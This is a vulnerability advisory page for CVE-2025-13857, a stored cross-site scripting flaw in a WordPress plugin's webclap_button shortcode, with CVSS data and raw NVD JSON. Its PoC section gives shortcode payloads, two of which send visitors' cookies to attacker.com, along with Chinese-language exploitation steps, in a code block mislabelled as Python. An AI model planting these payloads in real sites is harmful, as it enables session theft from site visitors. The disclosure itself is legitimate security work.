Security Vulnerability Report
中文
CVE-2025-13857 CVSS 6.4 MEDIUM

CVE-2025-13857

Published: 2025-12-06 06:15:53
Last Modified: 2026-04-15 00:35:42

Description

The Yet Another WebClap for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'text' parameter of the webclap_button shortcode in all versions up to, and including, 0.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Yet Another WebClap for WordPress <= 0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Contributor权限账户利用CVE-2025-13857的PoC --> <!-- 在文章或页面中插入以下短代码即可触发存储型XSS --> [webclap_button text='"><script>alert(document.cookie)</script>'] <!-- 窃取Cookie的进阶利用 --> [webclap_button text='"><img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>'] <!-- 绕过简单过滤的变形payload --> [webclap_button text="'><svg/onload=fetch('https://attacker.com/log?data='+btoa(document.cookie))>"] <!-- 利用方式说明: 1. 攻击者拥有WordPress Contributor或更高权限账户 2. 在文章/页面编辑时插入包含恶意payload的webclap_button短代码 3. 保存并发布内容后,恶意脚本会被永久存储 4. 任何访问该页面的用户都会执行攻击者的JavaScript代码 5. 攻击者可借此窃取会话Cookie、劫持账户或进行其他恶意操作 -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13857", "sourceIdentifier": "[email protected]", "published": "2025-12-06T06:15:52.633", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Yet Another WebClap for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'text' parameter of the webclap_button shortcode in all versions up to, and including, 0.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/yet-another-webclap-for-wordpress/tags/0.2/yawebclap.php#L28", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/yet-another-webclap-for-wordpress/trunk/yawebclap.php#L28", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ca50e5e7-be46-40f1-9782-a72ca8ab7e9a?source=cve", "source": "[email protected]"}]}}